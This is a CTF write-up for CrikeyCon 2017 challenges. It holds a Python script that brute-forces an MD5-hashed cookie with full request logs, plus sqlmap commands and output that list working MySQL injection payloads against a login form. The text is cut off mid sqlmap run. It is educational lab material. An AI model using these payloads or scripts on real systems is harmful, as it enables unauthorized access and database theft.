Imported from firebitsbr/Writeups-claudeskills (
claudeskills/writeup-1n3/SKILL.md). Install upstream withnpx skills add firebitsbr/Writeups-claudeskills --skill writeup-1n3. Copyright stays with the author.
name: writeup-1n3 description: CTF writeups and security challenges by 1N3.
Writeups by 1N3
Source repository: /repos/1N3
Repository Index
- CTF-Writeups/CrikeyCon-CTF-2017.md
- CTF-Writeups/h1702-CTF-2017.md
Writeup Content
File: CTF-Writeups/CrikeyCon-CTF-2017.md
CTF-Writeups
CrikeyConCTF Crapto Locker (100pts)
The following web page was left by a hacker, who is using ransomware to hold my web site hostage. I am a poor student and can't affort to pay the ransom. Can you help?
http://ctf.crikeycon.com:1234 The 1st step of this challenge is to identify the hacker. Submit the flag as: flag{hacker_handle}
Source Code
HTTP/1.1 200 OK
Date: Wed, 22 Mar 2017 12:27:07 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Fri, 17 Feb 2017 09:23:36 GMT
ETag: "26d-548b677e60abe"
Accept-Ranges: bytes
Content-Length: 621
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
<html><head></style><audio autoplay loop><source src="./Saw theme song.mp3" type="audio/mpeg"></audio>
<title>Cr@pT0l0cK3r</title></head><body background="./matrix-animated-image.gif"></body><center><h1 style=color:red;>U h@v3 b33n h1T by Cr@pT0l0cK3r!</h1><h2 style=color:green;>P@y 1.337 dr0pco1ns 2 @cc0unT: 5318008 1n 1 w33k t0 g3T ur d@T@z b@cK!</h4><img src="./Hacker.png"><h3 style=color:grey; >*****i l0cK3d ur cr@p******</h1><p style=color:grey; >Gr33Tz to--> TrumpLuV3r, m0l3z, s1Lv10, k0aLaz, Joey Jojo Jr Shabadoo, Team-Barbie, Team Blue Ballz, ASD </p></center><!-- Page made by dr0ppyb3@r_h@ck3r -></html>Searching through the source of the compromised website revealed the following commented section:
<!-- Page made by dr0ppyb3@r_h@ck3r ->flag{dr0ppyb3@r_h@ck3r}
CrikeyConCTF Koala Web Challenge (200pts)
Get the flag from this fine collection of bears.
GET / HTTP/1.1
Host: ctf.crikeycon.com:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=.eJwNz0FrgzAUwPGvMt7Zg0a9CIN1yyYWXsQuJbzc7HTVF2OhZaSk9LvP05_f8f-AfvDzCtVvv9zGBOYBqiwrElgv688I1QNeTlAByk5Yfp-JD94aKpB3GXGXIp9LlBOTIUGmK1DsudWYElOpDKZWYrSaAmrMW7kspF2pJObWd3esG6HiuSB_DG39GYh3gvSXt1o5jPsJa-vQKG5Nk6l4LFvpctJN2BqUbkry1pFQk6oPvPmO7KKV9ArPBP5u43Xt_TYAmcrfPq6XMHxP87gM8PwHo-ZOmQ.C7Nn6A.CbLr-jbU3clK_zeFZZVfeN5GvhM; KoalaCookie=9f9d51bc70ef21ca5c14f307980a29d8
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
HTTP/1.1 200 OK
Date: Wed, 22 Mar 2017 02:16:45 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: KoalaCookie=527bd5b5d689e2c32ae974c6229ff785
Vary: Accept-Encoding
Content-Length: 901
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<body>
<center>
<h2>Koala Gallery</h2>
<img src="bob.jpg" alt="Bob" style="width:250px;height:250px;">
<img src="dave.jpg" alt="Dave" style="width:250px;height:250px;">
<img src="jane.jpg" alt="Jane" style="width:250px;height:250px;">
<img src="tony.jpg" alt="Tony" style="width:250px;height:250px;">
<p>
<img src="sarah.jpg" alt="Sarah" style="width:250px;height:250px;">
<img src="mary.jpg" alt="Mary" style="width:250px;height:250px;">
<img src="frank.jpg" alt="Frank" style="width:250px;height:250px;">
<img src="droppy.jpg" alt="Droppy" style="width:250px;height:250px;">
<p>
<img src="laura.jpg" alt="Laura" style="width:250px;height:250px;">
<img src="john.jpg" alt="John" style="width:250px;height:250px;">
<img src="emma.jpg" alt="Emma" style="width:250px;height:250px;">
<img src="carl.jpg" alt="Carl" style="width:250px;height:250px;">
</center>
</body>
</html>The page revealed a few pictures of koala's with various names (ie. john.jpg) along with a KoalaCookie value which appeared to be an MD5 hash. Running each name of each image through md5sum revealed a match for the KaolaCookie value.
root@blackhat:/pentest/lists/passwords# echo "bob" | md5sum
e01096b9ffe3f416157f6ec46c467725 -
I then created a python script to automatically calculate the md5 of each name and replace the KoalaCookie value being sent to the server.
### CrikeyCon CTF Koala Gallery Exploit by 1N3@CrowdShield
### https://crowdshield.com
import hashlib
import requests
import time
name = [ "bob", "dave", "jane", "tony", "sarah", "mary", "frank", "droppy", "laura", "john", "emma", "carl" ]
num = len(name)
target = open("/tmp/hash.out", 'w')
target.truncate()
for i in range(num):
print name[i]+ " = " + (hashlib.md5(name[i].encode('utf-8')).hexdigest())
target.write(hashlib.md5(name[i].encode('utf-8')).hexdigest())
target.write("\n")
print "===================================== >"
print "GET http://ctf.crikeycon.com:8001 HTTP/1.1"
print "Host: ctf.crikeycon.com"
cookie=(hashlib.md5(name[i].encode('utf-8')).hexdigest())
print "Cookie: KoalaCookie=" +cookie
cookies = dict(KoalaCookie=cookie)
req = requests.get("http://ctf.crikeycon.com:8001/", cookies=cookies)
print (req.request.headers)
print "< ====================================="
print (req.headers)
print "< ====================================="
print(req.text)
print "\n\n"
if 'flag' in req.text:
print "Success!"
break
exit
else:
print "No flag found."
print "\n\n\n\n"
time.sleep(3)
Running the exploit revealed the flag..
root@blackhat:/pentest/development/python# python md5sum.py
bob = 9f9d51bc70ef21ca5c14f307980a29d8
=====================================>
GET http://ctf.crikeycon.com:8001 HTTP/1.1
Host: ctf.crikeycon.com
Cookie: KoalaCookie=9f9d51bc70ef21ca5c14f307980a29d8
{'Connection': 'keep-alive', 'Cookie': 'KoalaCookie=9f9d51bc70ef21ca5c14f307980a29d8', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'python-requests/2.13.0'}
<=====================================
{'Content-Length': '244', 'Content-Encoding': 'gzip', 'Set-Cookie': 'KoalaCookie=5844a15e76563fedd11840fd6f40ea7b', 'Vary': 'Accept-Encoding', 'Keep-Alive': 'timeout=5, max=100', 'Server': 'Apache/2.4.18 (Ubuntu)', 'Connection': 'Keep-Alive', 'Date': 'Thu, 23 Mar 2017 06:34:37 GMT', 'Content-Type': 'text/html; charset=UTF-8'}
<=====================================
<html>
<body>
<center>
<h2>Koala Gallery</h2>
<img src="bob.jpg" alt="Bob" style="width:250px;height:250px;">
<img src="dave.jpg" alt="Dave" style="width:250px;height:250px;">
<img src="jane.jpg" alt="Jane" style="width:250px;height:250px;">
<img src="tony.jpg" alt="Tony" style="width:250px;height:250px;">
<p>
<img src="sarah.jpg" alt="Sarah" style="width:250px;height:250px;">
<img src="mary.jpg" alt="Mary" style="width:250px;height:250px;">
<img src="frank.jpg" alt="Frank" style="width:250px;height:250px;">
<img src="droppy.jpg" alt="Droppy" style="width:250px;height:250px;">
<p>
<img src="laura.jpg" alt="Laura" style="width:250px;height:250px;">
<img src="john.jpg" alt="John" style="width:250px;height:250px;">
<img src="emma.jpg" alt="Emma" style="width:250px;height:250px;">
<img src="carl.jpg" alt="Carl" style="width:250px;height:250px;">
</center>
</body>
</html>
No flag found.
dave = 1610838743cc90e3e4fdda748282d9b8
=====================================>
GET http://ctf.crikeycon.com:8001 HTTP/1.1
Host: ctf.crikeycon.com
Cookie: KoalaCookie=1610838743cc90e3e4fdda748282d9b8
{'Connection': 'keep-alive', 'Cookie': 'KoalaCookie=1610838743cc90e3e4fdda748282d9b8', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'python-requests/2.13.0'}
<=====================================
{'Content-Length': '244', 'Content-Encoding': 'gzip', 'Set-Cookie': 'KoalaCookie=9f9d51bc70ef21ca5c14f307980a29d8', 'Vary': 'Accept-Encoding', 'Keep-Alive': 'timeout=5, max=100', 'Server': 'Apache/2.4.18 (Ubuntu)', 'Connection': 'Keep-Alive', 'Date': 'Thu, 23 Mar 2017 06:34:40 GMT', 'Content-Type': 'text/html; charset=UTF-8'}
<=====================================
<html>
<body>
<center>
<h2>Koala Gallery</h2>
<img src="bob.jpg" alt="Bob" style="width:250px;height:250px;">
<img src="dave.jpg" alt="Dave" style="width:250px;height:250px;">
<img src="jane.jpg" alt="Jane" style="width:250px;height:250px;">
<img src="tony.jpg" alt="Tony" style="width:250px;height:250px;">
<p>
<img src="sarah.jpg" alt="Sarah" style="width:250px;height:250px;">
<img src="mary.jpg" alt="Mary" style="width:250px;height:250px;">
<img src="frank.jpg" alt="Frank" style="width:250px;height:250px;">
<img src="droppy.jpg" alt="Droppy" style="width:250px;height:250px;">
<p>
<img src="laura.jpg" alt="Laura" style="width:250px;height:250px;">
<img src="john.jpg" alt="John" style="width:250px;height:250px;">
<img src="emma.jpg" alt="Emma" style="width:250px;height:250px;">
<img src="carl.jpg" alt="Carl" style="width:250px;height:250px;">
</center>
</body>
</html>
No flag found.
jane = 5844a15e76563fedd11840fd6f40ea7b
=====================================>
GET http://ctf.crikeycon.com:8001 HTTP/1.1
Host: ctf.crikeycon.com
Cookie: KoalaCookie=5844a15e76563fedd11840fd6f40ea7b
{'Connection': 'keep-alive', 'Cookie': 'KoalaCookie=5844a15e76563fedd11840fd6f40ea7b', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'python-requests/2.13.0'}
<=====================================
{'Content-Length': '244', 'Content-Encoding': 'gzip', 'Set-Cookie': 'KoalaCookie=1610838743cc90e3e4fdda748282d9b8', 'Vary': 'Accept-Encoding', 'Keep-Alive': 'timeout=5, max=100', 'Server': 'Apache/2.4.18 (Ubuntu)', 'Connection': 'Keep-Alive', 'Date': 'Thu, 23 Mar 2017 06:34:44 GMT', 'Content-Type': 'text/html; charset=UTF-8'}
<=====================================
<html>
<body>
<center>
<h2>Koala Gallery</h2>
<img src="bob.jpg" alt="Bob" style="width:250px;height:250px;">
<img src="dave.jpg" alt="Dave" style="width:250px;height:250px;">
<img src="jane.jpg" alt="Jane" style="width:250px;height:250px;">
<img src="tony.jpg" alt="Tony" style="width:250px;height:250px;">
<p>
<img src="sarah.jpg" alt="Sarah" style="width:250px;height:250px;">
<img src="mary.jpg" alt="Mary" style="width:250px;height:250px;">
<img src="frank.jpg" alt="Frank" style="width:250px;height:250px;">
<img src="droppy.jpg" alt="Droppy" style="width:250px;height:250px;">
<p>
<img src="laura.jpg" alt="Laura" style="width:250px;height:250px;">
<img src="john.jpg" alt="John" style="width:250px;height:250px;">
<img src="emma.jpg" alt="Emma" style="width:250px;height:250px;">
<img src="carl.jpg" alt="Carl" style="width:250px;height:250px;">
</center>
</body>
</html>
No flag found.
tony = ddc5f5e86d2f85e1b1ff763aff13ce0a
=====================================>
GET http://ctf.crikeycon.com:8001 HTTP/1.1
Host: ctf.crikeycon.com
Cookie: KoalaCookie=ddc5f5e86d2f85e1b1ff763aff13ce0a
{'Connection': 'keep-alive', 'Cookie': 'KoalaCookie=ddc5f5e86d2f85e1b1ff763aff13ce0a', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'python-requests/2.13.0'}
<=====================================
{'Content-Length': '244', 'Content-Encoding': 'gzip', 'Set-Cookie': 'KoalaCookie=527bd5b5d689e2c32ae974c6229ff785', 'Vary': 'Accept-Encoding', 'Keep-Alive': 'timeout=5, max=100', 'Server': 'Apache/2.4.18 (Ubuntu)', 'Connection': 'Keep-Alive', 'Date': 'Thu, 23 Mar 2017 06:34:47 GMT', 'Content-Type': 'text/html; charset=UTF-8'}
<=====================================
<html>
<body>
<center>
<h2>Koala Gallery</h2>
<img src="bob.jpg" alt="Bob" style="width:250px;height:250px;">
<img src="dave.jpg" alt="Dave" style="width:250px;height:250px;">
<img src="jane.jpg" alt="Jane" style="width:250px;height:250px;">
<img src="tony.jpg" alt="Tony" style="width:250px;height:250px;">
<p>
<img src="sarah.jpg" alt="Sarah" style="width:250px;height:250px;">
<img src="mary.jpg" alt="Mary" style="width:250px;height:250px;">
<img src="frank.jpg" alt="Frank" style="width:250px;height:250px;">
<img src="droppy.jpg" alt="Droppy" style="width:250px;height:250px;">
<p>
<img src="laura.jpg" alt="Laura" style="width:250px;height:250px;">
<img src="john.jpg" alt="John" style="width:250px;height:250px;">
<img src="emma.jpg" alt="Emma" style="width:250px;height:250px;">
<img src="carl.jpg" alt="Carl" style="width:250px;height:250px;">
</center>
</body>
</html>
No flag found.
sarah = 9e9d7a08e048e9d604b79460b54969c3
=====================================>
GET http://ctf.crikeycon.com:8001 HTTP/1.1
Host: ctf.crikeycon.com
Cookie: KoalaCookie=9e9d7a08e048e9d604b79460b54969c3
{'Connection': 'keep-alive', 'Cookie': 'KoalaCookie=9e9d7a08e048e9d604b79460b54969c3', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'python-requests/2.13.0'}
<=====================================
{'Content-Length': '244', 'Content-Encoding': 'gzip', 'Set-Cookie': 'KoalaCookie=5844a15e76563fedd11840fd6f40ea7b', 'Vary': 'Accept-Encoding', 'Keep-Alive': 'timeout=5, max=100', 'Server': 'Apache/2.4.18 (Ubuntu)', 'Connection': 'Keep-Alive', 'Date': 'Thu, 23 Mar 2017 06:34:51 GMT', 'Content-Type': 'text/html; charset=UTF-8'}
<=====================================
<html>
<body>
<center>
<h2>Koala Gallery</h2>
<img src="bob.jpg" alt="Bob" style="width:250px;height:250px;">
<img src="dave.jpg" alt="Dave" style="width:250px;height:250px;">
<img src="jane.jpg" alt="Jane" style="width:250px;height:250px;">
<img src="tony.jpg" alt="Tony" style="width:250px;height:250px;">
<p>
<img src="sarah.jpg" alt="Sarah" style="width:250px;height:250px;">
<img src="mary.jpg" alt="Mary" style="width:250px;height:250px;">
<img src="frank.jpg" alt="Frank" style="width:250px;height:250px;">
<img src="droppy.jpg" alt="Droppy" style="width:250px;height:250px;">
<p>
<img src="laura.jpg" alt="Laura" style="width:250px;height:250px;">
<img src="john.jpg" alt="John" style="width:250px;height:250px;">
<img src="emma.jpg" alt="Emma" style="width:250px;height:250px;">
<img src="carl.jpg" alt="Carl" style="width:250px;height:250px;">
</center>
</body>
</html>
No flag found.
mary = b8e7be5dfa2ce0714d21dcfc7d72382c
=====================================>
GET http://ctf.crikeycon.com:8001 HTTP/1.1
Host: ctf.crikeycon.com
Cookie: KoalaCookie=b8e7be5dfa2ce0714d21dcfc7d72382c
{'Connection': 'keep-alive', 'Cookie': 'KoalaCookie=b8e7be5dfa2ce0714d21dcfc7d72382c', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'python-requests/2.13.0'}
<=====================================
{'Content-Length': '244', 'Content-Encoding': 'gzip', 'Set-Cookie': 'KoalaCookie=9e9d7a08e048e9d604b79460b54969c3', 'Vary': 'Accept-Encoding', 'Keep-Alive': 'timeout=5, max=100', 'Server': 'Apache/2.4.18 (Ubuntu)', 'Connection': 'Keep-Alive', 'Date': 'Thu, 23 Mar 2017 06:34:54 GMT', 'Content-Type': 'text/html; charset=UTF-8'}
<=====================================
<html>
<body>
<center>
<h2>Koala Gallery</h2>
<img src="bob.jpg" alt="Bob" style="width:250px;height:250px;">
<img src="dave.jpg" alt="Dave" style="width:250px;height:250px;">
<img src="jane.jpg" alt="Jane" style="width:250px;height:250px;">
<img src="tony.jpg" alt="Tony" style="width:250px;height:250px;">
<p>
<img src="sarah.jpg" alt="Sarah" style="width:250px;height:250px;">
<img src="mary.jpg" alt="Mary" style="width:250px;height:250px;">
<img src="frank.jpg" alt="Frank" style="width:250px;height:250px;">
<img src="droppy.jpg" alt="Droppy" style="width:250px;height:250px;">
<p>
<img src="laura.jpg" alt="Laura" style="width:250px;height:250px;">
<img src="john.jpg" alt="John" style="width:250px;height:250px;">
<img src="emma.jpg" alt="Emma" style="width:250px;height:250px;">
<img src="carl.jpg" alt="Carl" style="width:250px;height:250px;">
</center>
</body>
</html>
No flag found.
frank = 26253c50741faa9c2e2b836773c69fe6
=====================================>
GET http://ctf.crikeycon.com:8001 HTTP/1.1
Host: ctf.crikeycon.com
Cookie: KoalaCookie=26253c50741faa9c2e2b836773c69fe6
{'Connection': 'keep-alive', 'Cookie': 'KoalaCookie=26253c50741faa9c2e2b836773c69fe6', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'python-requests/2.13.0'}
<=====================================
{'Content-Length': '244', 'Content-Encoding': 'gzip', 'Set-Cookie': 'KoalaCookie=527bd5b5d689e2c32ae974c6229ff785', 'Vary': 'Accept-Encoding', 'Keep-Alive': 'timeout=5, max=100', 'Server': 'Apache/2.4.18 (Ubuntu)', 'Connection': 'Keep-Alive', 'Date': 'Thu, 23 Mar 2017 06:34:58 GMT', 'Content-Type': 'text/html; charset=UTF-8'}
<=====================================
<html>
<body>
<center>
<h2>Koala Gallery</h2>
<img src="bob.jpg" alt="Bob" style="width:250px;height:250px;">
<img src="dave.jpg" alt="Dave" style="width:250px;height:250px;">
<img src="jane.jpg" alt="Jane" style="width:250px;height:250px;">
<img src="tony.jpg" alt="Tony" style="width:250px;height:250px;">
<p>
<img src="sarah.jpg" alt="Sarah" style="width:250px;height:250px;">
<img src="mary.jpg" alt="Mary" style="width:250px;height:250px;">
<img src="frank.jpg" alt="Frank" style="width:250px;height:250px;">
<img src="droppy.jpg" alt="Droppy" style="width:250px;height:250px;">
<p>
<img src="laura.jpg" alt="Laura" style="width:250px;height:250px;">
<img src="john.jpg" alt="John" style="width:250px;height:250px;">
<img src="emma.jpg" alt="Emma" style="width:250px;height:250px;">
<img src="carl.jpg" alt="Carl" style="width:250px;height:250px;">
</center>
</body>
</html>
No flag found.
droppy = d21e15ab5a164b251d09e315893946b4
=====================================>
GET http://ctf.crikeycon.com:8001 HTTP/1.1
Host: ctf.crikeycon.com
Cookie: KoalaCookie=d21e15ab5a164b251d09e315893946b4
{'Connection': 'keep-alive', 'Cookie': 'KoalaCookie=d21e15ab5a164b251d09e315893946b4', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'python-requests/2.13.0'}
<=====================================
{'Content-Length': '267', 'Content-Encoding': 'gzip', 'Set-Cookie': 'KoalaCookie=00a809937eddc44521da9521269e75c6', 'Vary': 'Accept-Encoding', 'Keep-Alive': 'timeout=5, max=100', 'Server': 'Apache/2.4.18 (Ubuntu)', 'Connection': 'Keep-Alive', 'Date': 'Thu, 23 Mar 2017 06:35:01 GMT', 'Content-Type': 'text/html; charset=UTF-8'}
<=====================================
Koala Gallery - flag{dr0ppy_the_dr0pb34r}<html>
<body>
<center>
<h2>Koala Gallery</h2>
<img src="bob.jpg" alt="Bob" style="width:250px;height:250px;">
<img src="dave.jpg" alt="Dave" style="width:250px;height:250px;">
<img src="jane.jpg" alt="Jane" style="width:250px;height:250px;">
<img src="tony.jpg" alt="Tony" style="width:250px;height:250px;">
<p>
<img src="sarah.jpg" alt="Sarah" style="width:250px;height:250px;">
<img src="mary.jpg" alt="Mary" style="width:250px;height:250px;">
<img src="frank.jpg" alt="Frank" style="width:250px;height:250px;">
<img src="droppy.jpg" alt="Droppy" style="width:250px;height:250px;">
<p>
<img src="laura.jpg" alt="Laura" style="width:250px;height:250px;">
<img src="john.jpg" alt="John" style="width:250px;height:250px;">
<img src="emma.jpg" alt="Emma" style="width:250px;height:250px;">
<img src="carl.jpg" alt="Carl" style="width:250px;height:250px;">
</center>
</body>
</html>
Success!Lo and behold, the flag was found!
flag{dr0ppy_the_dr0pb34r}
CrikeyConCTF Eyeless Web Challenge (200pts)
Retrieve the admin password
The page revealed a simple login form which I immediately fuzzed by inputting (') for the username and password. This revealed a SQL error message which indicated the form was vulnerable to error base MySQL injection...
SQLi Fuzzing
POST / HTTP/1.1
Host: ctf.crikeycon.com:8003
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://ctf.crikeycon.com:8003/
Cookie: connect.sid=s%3A2K6sIvSsPyc0M8W96l0DrFXiJkW1mGQd.vp9sSrmQ6NlXc2ymNkcqywsOjO9JKHEF1evVc0mwofI; session=.eJwVz1FrgzAUBeC_Mu6zD5q6F6GwslqxcCO6diF5s42ruSYWWkZNSv_7stdzPg6cJ_TamRmKn97ehwSMhiLL8gTm63weoHjC2wkKkG5vOZMPrFqmXOcagV66ncHQTcq1XtExV9QGvi09ujpFUaYYphxFNKRJUmcb0TmkyyJZtKL1Mlw8sh2hwIWHTaoOE5OhzWTYeNxiyql-j54p-p7iDnE6MiXK_D9rqnppqpJJV6-k4LGzIz-MRtF5Da8Efu_Dbe5dPAAZX3183q4P_TWawWp4_QEENVCR.C7P7fw.9gp4AAialH1yX46-_g4QXofF2Gc
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
username=%27&password=&login=Submit+Query
HTTP/1.1 200 OK
Date: Wed, 22 Mar 2017 12:13:01 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 167
Connection: close
Content-Type: text/html; charset=UTF-8
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password = ''' at line 1
SQLMap Exploitation
Following this discovery, I passed the work over to SQLMap to continue the exploitation and capture the flag.
root@blackhat:~# sqlmap -u 'http://ctf.crikeycon.com:8003/' --data='username=%27&password=&login=Submit+Query' --risk=1 --cookie='connect.sid=s%3A2K6sIvSsPyc0M8W96l0DrFXiJkW1mGQd.vp9sSrmQ6NlXc2ymNkcqywsOjO9JKHEF1evVc0mwofI;session=.eJwVz1FrgzAUBeC_Mu6zD5q6F6GwslqxcCO6diF5s42ruSYWWkZNSv_7stdzPg6cJ_TamRmKn97ehwSMhiLL8gTm63weoHjC2wkKkG5vOZMPrFqmXOcagV66ncHQTcq1XtExV9QGvi09ujpFUaYYphxFNKRJUmcb0TmkyyJZtKL1Mlw8sh2hwIWHTaoOE5OhzWTYeNxiyql-j54p-p7iDnE6MiXK_D9rqnppqpJJV6-k4LGzIz-MRtF5Da8Efu_Dbe5dPAAZX3183q4P_TWawWp4_QEENVCR.C7P7fw.9gp4AAialH1yX46-_g4QXofF2G;'
___
__H__
___ ___[(]_____ ___ ___ {1.1.2#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:14:49
[22:14:49] [WARNING] it appears that you have provided tainted parameter values ('username='') with most probably leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[22:14:56] [WARNING] provided value for parameter 'password' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[22:14:56] [INFO] resuming back-end DBMS 'mysql'
[22:14:56] [INFO] testing connection to the target URL
[22:14:57] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: password=-2518' OR 9960=9960#&login=login=&username=
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: password=' OR (SELECT 1455 FROM(SELECT COUNT(*),CONCAT(0x7170767071,(SELECT (ELT(1455=1455,1))),0x717a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- DWAo&login=login=&username=
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: password=' OR SLEEP(5)-- NGfN&login=login=&username=
---
[22:14:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0
[22:14:57] [INFO] fetched data logged to text files under '/root/.sqlmap/output/ctf.crikeycon.com'
[*] shutting down at 22:14:57
root@blackhat:~# sqlmap -u 'http://ctf.crikeycon.com:8003/' --data='username=%27&password=&login=Submit+Query' --risk=1 --cookie='connect.sid=s%3A2K6sIvSsPyc0M8W96l0DrFXiJkW1mGQd.vp9sSrmQ6NlXc2ymNkcqywsOjO9JKHEF1evVc0mwofI;session=.eJwVz1FrgzAUBeC_Mu6zD5q6F6GwslqxcCO6diF5s42ruSYWWkZNSv_7stdzPg6cJ_TamRmKn97ehwSMhiLL8gTm63weoHjC2wkKkG5vOZMPrFqmXOcagV66ncHQTcq1XtExV9QGvi09ujpFUaYYphxFNKRJUmcb0TmkyyJZtKL1Mlw8sh2hwIWHTaoOE5OhzWTYeNxiyql-j54p-p7iDnE6MiXK_D9rqnppqpJJV6-k4LGzIz-MRtF5Da8Efu_Dbe5dPAAZX3183q4P_TWawWp4_QEENVCR.C7P7fw.9gp4AAialH1yX46-_g4QXofF2G;' --dbs
___
__H__
___ ___[,]_____ ___ ___ {1.1.2#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:15:38
[22:15:38] [WARNING] it appears that you have provided tainted parameter values ('username='') with most probably leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[22:15:39] [WARNING] provided value for parameter 'password' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[22:15:39] [INFO] resuming back-end DBMS 'mysql'
[22:15:39] [INFO] testing connection to the target URL
[22:15:55] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: password=-2518' OR 9960=9960#&login=login=&username=
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: password=' OR (SELECT 1455 FROM(SELECT COUNT(*),CONCAT(0x7170767071,(SELECT (ELT(1455=1455,1))),0x717a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- DWAo&login=login=&username=
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: password=' OR SLEEP(5)-- NGfN&login=login=&username=
---
[22:15:55] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0
[22:15:55] [INFO] fetching database names
[22:15:55] [INFO] the SQL query used returns 5 entries
[22:15:55] [INFO] resumed: information_schema
[22:15:55] [INFO] resumed: ctf
[22:15:55] [INFO] resumed: mysql
[22:15:55] [INFO] resumed: performance_schema
[22:15:55] [INFO] resumed: sys
available databases [5]:
[*] ctf
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[22:15:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/ctf.crikeycon.com'
[*] shutting down at 22:15:55
root@blackhat:~# sqlmap -u 'http://ctf.crikeycon.com:8003/' --data='username=%27&password=&login=Submit+Query' --risk=1 --cookie='connect.sid=s%3A2K6sIvSsPyc0M8W96l0DrFXiJkW1mGQd.vp9sSrmQ6NlXc2ymNkcqywsOjO9JKHEF1evVc0mwofI;session=.eJwVz1FrgzAUBeC_Mu6zD5q6F6GwslqxcCO6diF5s42ruSYWWkZNSv_7stdzPg6cJ_TamRmKn97ehwSMhiLL8gTm63weoHjC2wkKkG5vOZMPrFqmXOcagV66ncHQTcq1XtExV9QGvi09ujpFUaYYphxFNKRJUmcb0TmkyyJZtKL1Mlw8sh2hwIWHTaoOE5OhzWTYeNxiyql-j54p-p7iDnE6MiXK_D9rqnppqpJJV6-k4LGzIz-MRtF5Da8Efu_Dbe5dPAAZX3183q4P_TWawWp4_QEENVCR.C7P7fw.9gp4AAialH1yX46-_g4QXofF2G;' -D ctf --tables
___
__H__
___ ___[)]_____ ___ ___ {1.1.2#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:16:24
[22:16:24] [WARNING] it appears that you have provided tainted parameter values ('username='') with most probably leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[22:16:25] [WARNING] provided value for parameter 'password' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[22:16:25] [INFO] resuming back-end DBMS 'mysql'
[22:16:25] [INFO] testing connection to the target URL
[22:16:26] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
